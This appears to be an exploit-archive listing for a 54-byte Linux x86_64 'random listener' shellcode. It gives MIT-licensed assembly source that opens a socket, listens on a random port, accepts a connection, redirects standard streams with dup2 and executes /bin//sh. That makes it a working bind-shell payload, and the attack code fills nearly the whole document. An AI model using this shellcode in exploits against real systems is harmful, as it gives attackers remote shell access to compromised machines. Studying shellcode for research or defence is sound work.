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Linux x86_64 Random Listener Shellcode

Linux x86_64 Random Listener Shellcode
Posted Feb 26, 2017
Authored by Robert L. Taylor

54 bytes small Linux x86_64 random listener shellcode.

tags | shellcode
systems | linux
SHA-256 | f94822e2100cf2c24cf047058109a4037406aae6804b0953a955a601caf31743

Linux x86_64 Random Listener Shellcode

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;The MIT License (MIT)

;Copyright (c) 2017 Robert L. Taylor

;Permission is hereby granted, free of charge, to any person obtaining a
;copy of this software and associated documentation files (the aSoftwarea),
;to deal in the Software without restriction, including without limitation
;the rights to use, copy, modify, merge, publish, distribute, sublicense,
;and/or sell copies of the Software, and to permit persons to whom the
;Software is furnished to do so, subject to the following conditions:

;The above copyright notice and this permission notice shall be included
;in all copies or substantial portions of the Software.

;The Software is provided aas isa, without warranty of any kind, express or
;implied, including but not limited to the warranties of merchantability,
;fitness for a particular purpose and noninfringement. In no event shall the
;authors or copyright holders be liable for any claim, damages or other
;liability, whether in an action of contract, tort or otherwise, arising
;from, out of or in connection with the software or the use or other
;dealings in the Software.
;
; For a detailed explanation of this shellcode see my blog post:
; http://a41l4.blogspot.ca/2017/02/shellrandomlisten1434.html

global _start

section .text

_start:
; Socket
push 41
pop rax
push 2
pop rdi
push 1
pop rsi
cdq
syscall
; Listen
xor esi,esi
xchg eax,edi
mov al,50
syscall
; Accept
mov al,43
syscall
; Dup 2
push 3
pop rsi
xchg edi,eax
dup2loop:
push 33
pop rax
dec esi
syscall
jne dup2loop
; Execve
; rax and rsi and rdx are zero already
push rax ; zero terminator for the following string that we are pushing

; push /bin//sh in reverse
mov rbx, '/bin//sh'
push rbx

; store /bin//sh address in RDI
push rsp
pop rdi

; Call the Execve syscall
mov al, 59
syscall

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